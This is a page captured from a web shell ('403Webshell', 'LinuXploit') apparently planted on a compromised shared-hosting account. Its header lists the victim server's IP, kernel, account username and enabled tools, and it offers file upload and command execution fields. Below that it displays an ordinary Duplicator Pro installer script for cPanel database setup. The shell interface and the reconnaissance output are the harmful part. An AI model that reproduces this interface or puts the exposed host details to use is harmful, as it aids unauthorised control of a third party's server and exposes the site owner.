403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.15.223.39
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/dup-installer/templates/default/scripts/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/dup-installer/templates/default/scripts/modules/cpanel.php
<?php
/**
 *
 * @package templates/default
 *
 */
defined('ABSPATH') || defined('DUPXABSPATH') || exit;

$paramsManager = DUPX_Paramas_Manager::getInstance();
?>
<script>

    var cpnlHostInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_HOST)); ?>;
    var cpnlUserInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_USER)); ?>;
    var cpnlPassInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_PASS)); ?>;

    var cpnlDbActionInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_ACTION)); ?>;
    var cpnlDbHostInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_HOST)); ?>;

    var cpnlDbNameWrapperId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormWrapperId(DUPX_Paramas_Manager::PARAM_CPNL_DB_NAME_TXT)); ?>;
    var cpnlDbNameInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_NAME_TXT)); ?>;
    var cpnlDbNameSelWrapperId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormWrapperId(DUPX_Paramas_Manager::PARAM_CPNL_DB_NAME_SEL)); ?>;
    var cpnlDbNameSelInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_NAME_SEL)); ?>;
    var cpnlPrefixInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_PREFIX)); ?>;
    var cpnlDbUserWrapperId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormWrapperId(DUPX_Paramas_Manager::PARAM_CPNL_DB_USER_TXT)); ?>;
    var cpnlDbUserInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_USER_TXT)); ?>;
    var cpnlDbUserSelWrapperId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormWrapperId(DUPX_Paramas_Manager::PARAM_CPNL_DB_USER_SEL)); ?>;
    var cpnlDbUserSelInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_USER_SEL)); ?>;
    var cpnlDbUserCheckInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_USER_CHK)); ?>;
    var cpnlIgnorePrefixInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_IGNORE_PREFIX)); ?>;

    var cpnlDbPassInputId = <?php echo DupProSnapJsonU::wp_json_encode($paramsManager->getFormItemId(DUPX_Paramas_Manager::PARAM_CPNL_DB_PASS)); ?>;


    var cpnlPrefix = '';

    /**
     *  Toggles the cpanel Login area  */
    DUPX.togglePanels = function (pane)
    {
        $('.s2-basic-pane, .s2-cpnl-pane').hide();
        $('#s2-basic-btn, #s2-cpnl-btn').removeClass('active in-active');
        var cpnlSupport = true;

        if (pane == 'basic') {
            $('#' + dbViewModeInputId).val('basic');
            $('.s2-basic-pane').show();
            $('#s2-basic-btn').addClass('active');
            $('#s2-cpnl-btn').addClass('in-active');
            if (!cpnlSupport) {
                $('#s2-opts-hdr-basic, div.footer-buttons').show();
            }
        } else {
            $('#' + dbViewModeInputId).val('cpnl');
            $('.s2-cpnl-pane').show();
            $('#s2-cpnl-btn').addClass('active');
            $('#s2-basic-btn').addClass('in-active');
            if (!cpnlSupport) {
                $('#s2-opts-hdr-cpnl, div.footer-buttons').hide();
            }
        }
    }


    /**
     * Returns the windows active url */
    DUPX.getcPanelURL = function (button)
    {
        var loc = window.location;
        var newVal = loc.protocol + '//' + loc.hostname + ':2038';
        $(button).parent().find('input').val(newVal);
    };


    /**
     *  Performs cpnl connection and updates UI */
    DUPX.cpnlConnect = function ()
    {

        var $formInput = $('#s2-input-form');
        $formInput.parsley().validate();
        if (!$formInput.parsley().isValid()) {
            return;
        }

        $('#s2-cpnl-connect-btn').attr('readonly', 'true').val('Connecting... Please Wait!');
        $('a#s2-cpnl-status-msg').hide();

        var apiAccountActive = function (data)
        {
            var html = "";
            var error = "Unknown Error";
            var cpnlPrefix = "";
            var validHost = false;
            var validUser = false;

            if (typeof data == 'undefined') {
                error = "Unknown error, unable to retrive data request.";
                CPNL_CONNECTED = false;
            } else if (data.hasOwnProperty('status') && data.status == 0) {
                error = data.hasOwnProperty('statusText') ? data.statusText : "Unknown error, unable to retrive status text.";
                CPNL_CONNECTED = false;
            } else if (data.hasOwnProperty('result')) {
                validHost = data.result.valid_host;
                validUser = data.result.valid_user;
                CPNL_DBINFO = data.result.hasOwnProperty('dbinfo') ? data.result.dbinfo : null;
                CPNL_DBUSERS = data.result.hasOwnProperty('dbusers') ? data.result.dbusers : null;
                CPNL_CONNECTED = validHost && validUser;
            }

            html += validHost ? "<b>Host:</b>  <div class='dupx-pass'>Success</div> &nbsp; "
                    : "<b>Host:</b>  <div class='dupx-fail'>Unable to Connect</div> &nbsp;";
            html += validUser ? "<b>Account:</b> <div class='dupx-pass'>Found</div><br/>"
                    : "<b>Account:</b> <div class='dupx-fail'>Not Found</div><br/>";

            if (CPNL_CONNECTED)
            {
                var setupDBName = '<?php echo strlen($GLOBALS['DUPX_AC']->cpnl_dbname) > 0 ? $GLOBALS['DUPX_AC']->cpnl_dbname : 'null'; ?>';
                var setupDBUser = '<?php echo strlen($GLOBALS['DUPX_AC']->cpnl_dbuser) > 0 ? $GLOBALS['DUPX_AC']->cpnl_dbuser : 'null'; ?>';
                var $dbNameSelect = $("#" + cpnlDbNameSelInputId);
                var $dbUserSelect = $("#" + cpnlDbUserSelInputId);

                //Set Prefix data
                if (data.result.is_prefix_on.status)
                {
                    cpnlPrefix = $('#' + cpnlUserInputId).val() + "_";
                    $('#' + cpnlPrefixInputId).val(cpnlPrefix);
                    var dbnameTxt = $("#" + cpnlDbNameInputId).val();
                    var dbuserTxt = $("#" + cpnlDbUserInputId).val();

                    $("#cpnl-prefix-dbname, #cpnl-prefix-dbuser").show().html(cpnlPrefix);
                    if (dbnameTxt.indexOf(cpnlPrefix) != -1) {
                        $("#" + cpnlDbNameInputId).val(dbnameTxt.replace(cpnlPrefix, ''));
                    }
                    if (dbuserTxt.indexOf(cpnlPrefix) != -1) {
                        $("#" + cpnlDbUserInputId).val(dbuserTxt.replace(cpnlPrefix, ''));
                    }
                    CPNL_PREFIX = true;
                } else {
                    $("#cpnl-prefix-dbname, #cpnl-prefix-dbuser").hide().html("");
                    $('#' + cpnlIgnorePrefixInputId).attr('checked', 'true');
                    $('#' + cpnlIgnorePrefixInputId).attr('onclick', 'return false;');
                    $('#' + cpnlIgnorePrefixInputId).attr('onkeydown', 'return false;');
                    var $label = $('label[for="cpnl_ignore_prefix"]');
                    $label.css('color', 'gray');
                    $label.html($label.text() + ' <i>(this option has been set to readonly by host)</i>');
                    CPNL_PREFIX = false;
                }

                //Enable database inputs and show header green go icon
                DUPX.cpnlToggleLogin('on');
                $('a#s2-cpnl-status-msg').html('<div class="status-badge success"></div>');
                $('div#s2-cpnl-status-details-msg').html(html);
                $("div[data-target='#s2-cpnl-area']").trigger('click');

                //Load DB Names
                $dbNameSelect.find('option').remove().end();
                $dbNameSelect.append($("<option selected></option>").val("").text("-- Select Database --"));
                $.each(CPNL_DBINFO, function (key, value)
                {
                    (setupDBName == value.db)
                            ? $dbNameSelect.append($("<option selected></option>").val(value.db).text(value.db))
                            : $dbNameSelect.append($("<option></option>").val(value.db).text(value.db));
                });

                //Load DB Users
                $dbUserSelect.find('option').remove().end();
                $dbUserSelect.append($("<option selected></option>").val("").text("-- Select User --"));
                $.each(CPNL_DBUSERS, function (key, value)
                {
                    (setupDBUser == value.user)
                            ? $dbUserSelect.append($("<option selected></option>").val(value.user).text(value.user))
                            : $dbUserSelect.append($("<option></option>").val(value.user).text(value.user));
                });

                //Warn on host name mismatch
                var address = window.location.hostname.replace('www.', '');
                ($("#" + cpnlHostInputId).val().indexOf(address) == -1)
                        ? $('#cpnl-host-warn').show()
                        : $('#cpnl-host-warn').hide();
            } else
            {
                //Auto message display
                html += "<b>Details:</b> Unable to connect. Error status is: '" + error + "'. <br/>";
                $('a#s2-cpnl-status-msg').html('<div class="status-badge fail"></div>');
                $('div#s2-cpnl-status-details-msg').html(html);
                $('div#s2-cpnl-status-details').show(500);
                //Inputs
                DUPX.cpnlToggleLogin('off');
            }
            $('a#s2-cpnl-status-msg').show(200);
            $('#s2-cpnl-connect-btn').removeAttr('readonly').val('Connect');
            DUPX.cpnlSetResults();
        }

        DUPX.requestAPI({
            operation: '/cpnl/create_token/',
            timeout: 10000,
            params: {
                host: $("#" + cpnlHostInputId).val(),
                user: $('#' + cpnlUserInputId).val(),
                pass: $('#' + cpnlPassInputId).val()
            },
            callback: function (data) {
                CPNL_TOKEN = data.result;
                DUPX.requestAPI({
                    operation: '/cpnl/get_setup_data/',
                    timeout: 30000,
                    params: {token: data.result},
                    callback: apiAccountActive
                });
            }
        });
    };

    /**
     *  Enables/Disables database setup and cPanel login inputs  */
    DUPX.cpnlToggleLogin = function (state)
    {
        //Change btn enabled
        if (state == 'on') {
            $('#' + cpnlHostInputId + ', #' + cpnlUserInputId + ', #' + cpnlPassInputId).addClass('readonly').attr('readonly', 'true');
            $('#s2-cpnl-connect-btn').addClass('disabled').attr('disabled', 'true');
            $('#s2-cpnl-change-btn').removeAttr('disabled').removeClass('disabled').show();
            //Enable cPanel Database
            $('#s2-cpnl-db-opts td').css('color', 'black');
            $('#s2-cpnl-db-opts input, #s2-cpnl-db-opts select').removeAttr('disabled');
            $('#cpnl-host-get-lnk').hide();
        }
        //Change btn disabled
        else {
            $('#' + cpnlHostInputId + ', #' + cpnlUserInputId + ', #' + cpnlPassInputId).removeClass('readonly').removeAttr('readonly');
            $('#s2-cpnl-connect-btn').removeAttr('disabled', 'true').removeClass('disabled');
            $('#s2-cpnl-change-btn').addClass('disabled').attr('disabled', 'true');
            //Disable cPanel Database
            $('#s2-cpnl-db-opts td').css('color', 'silver');
            $('#s2-cpnl-db-opts input, #s2-cpnl-db-opts select').attr('disabled', 'true');
            $('#cpnl-host-get-lnk').show();
        }
    }

    /**
     *  Updates action status  */
    DUPX.cpnlDBActionChange = function ()
    {
        var action = $('#' + cpnlDbActionInputId).val();
        $('#s2-cpnl-db-opts .s2-warning-manualdb').hide();
        $('#s2-cpnl-db-opts .s2-warning-emptydb').hide();
        $('#s2-cpnl-db-opts .s2-warning-renamedb').hide();

        switch (action) {
            case 'create' :
                $('#' + cpnlDbNameInputId).val('');
                $('#' + cpnlDbNameWrapperId).show();
                $('#' + cpnlDbNameSelWrapperId).hide();
                break;
            case 'empty' :
                $('#' + cpnlDbNameSelInputId).trigger('change');
                $('#' + cpnlDbNameWrapperId).hide();
                $('#' + cpnlDbNameSelWrapperId).show();
                $('#s2-cpnl-db-opts .s2-warning-emptydb').show();
                break;
            case 'rename' :
                $('#' + cpnlDbNameSelInputId).trigger('change');
                $('#' + cpnlDbNameWrapperId).hide();
                $('#' + cpnlDbNameSelWrapperId).show();
                $('#s2-cpnl-db-opts .s2-warning-renamedb').show();
                break;
            case 'manual' :
                $('#' + cpnlDbNameSelInputId).trigger('change');
                $('#' + cpnlDbNameWrapperId).hide();
                $('#' + cpnlDbNameSelWrapperId).show();
                $('#s2-cpnl-db-opts .s2-warning-manualdb').show();
                break;
        }
    };

    /**
     *  Set the cpnl dbname and dbuser result hidden fields  */
    DUPX.cpnlSetResults = function ()
    {
        var action = $('#' + cpnlDbActionInputId).val();
        var dbname = $("#" + cpnlDbNameInputId).val();
        var dbuser = $("#" + cpnlDbUserInputId).val();
        /*
         if (CPNL_PREFIX) {
         dbname = cpnlPrefix + $("#" + cpnlDbNameInputId).val();
         dbuser = cpnlPrefix + $("#" + cpnlDbUserInputId).val();
         }
         
         if (action != 'create') {
         $("#" + cpnlDbNameInputId).val($("#" + cpnlDbNameSelInputId).val());
         }
         
         if (!$('#' + cpnlDbUserCheckInputId).is(':checked')) {
         $("#" + cpnlDbUserInputId).val($("#" + cpnlDbUserSelInputId).val());
         }*/
    }

    DUPX.cpnlPrefixIgnore = function ()
    {
        if ($('#' + cpnlIgnorePrefixInputId).prop('checked')) {
            CPNL_PREFIX = false;
            $("#cpnl-prefix-dbname, #cpnl-prefix-dbuser").hide();
        } else {
            CPNL_PREFIX = true;
            $("#cpnl-prefix-dbname, #cpnl-prefix-dbuser").show();
        }
        DUPX.cpnlSetResults();
    }

    /**
     *  Toggle the DB user name type  */
    DUPX.cpnlDBUserToggle = function ()
    {
        $('#' + cpnlDbUserWrapperId + ', #' + cpnlDbUserSelWrapperId).hide();
        $('#' + cpnlDbUserSelInputId + ', #' + cpnlDbUserInputId).removeAttr('disabled');
        $('#' + cpnlDbUserSelInputId + ', #' + cpnlDbUserInputId).removeAttr('required');

        $('#' + cpnlDbUserInputId).attr('required', 'true');
        $('#' + cpnlDbPassInputId).attr({
            'required': 'true'
        });

        //Use existing
        if ($('#' + cpnlDbUserCheckInputId).prop('checked')) {
            $('#' + cpnlDbUserInputId).val('');
            $('#' + cpnlDbUserWrapperId).show();
            $('#' + cpnlDbUserSelWrapperId).hide();
            //Create New
        } else {
            $('#' + cpnlDbUserSelInputId).trigger('changed');
            $('#' + cpnlDbUserWrapperId).hide();
            $('#' + cpnlDbUserSelWrapperId).show();
        }
        DUPX.cpnlSetResults();
    }

//DOCUMENT LOAD
    $(document).ready(function ()
    {
        //Custom Validator
        window.Parsley.addValidator('cpnluser', {
            validateString: function (value) {
                var prefix = CPNL_PREFIX
                        ? $('#' + cpnlUserInputId).val() + "_" + value
                        : value;
                return (prefix.length <= 24);
            },
            messages: {
                en: 'Database user cannot be more that 24 characters including prefix'
            }
        });

        //Attach Events
        $("#" + cpnlDbActionInputId).on("change", DUPX.cpnlDBActionChange);
        $("#" + cpnlDbUserCheckInputId).click(DUPX.cpnlDBUserToggle);

        $('#' + cpnlDbNameSelInputId).on("change", DUPX.cpnlSetResults);
        $('#' + cpnlDbUserSelInputId).on("change", DUPX.cpnlSetResults);

<?php echo ($GLOBALS['DUPX_AC']->cpnl_connect) ? 'DUPX.cpnlConnect();' : ''; ?>
        $("#" + cpnlDbActionInputId).val(<?php echo strlen($GLOBALS['DUPX_AC']->cpnl_dbaction) > 0 ? "'{$GLOBALS['DUPX_AC']->cpnl_dbaction}'" : DUPX_DBInstall::DBACTION_CREATE; ?>);
        DUPX.cpnlDBActionChange();
        DUPX.cpnlDBUserToggle();
        DUPX.cpnlToggleLogin('off');
        DUPX.cpnlSetResults();

        $("input[name='cpnl-dbmysqlmode']").click(function () {
            ($(this).val() == 'CUSTOM')
                    ? $('#cpnl-dbmysqlmode_3_view').show()
                    : $('#cpnl-dbmysqlmode_3_view').hide();
        });

    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit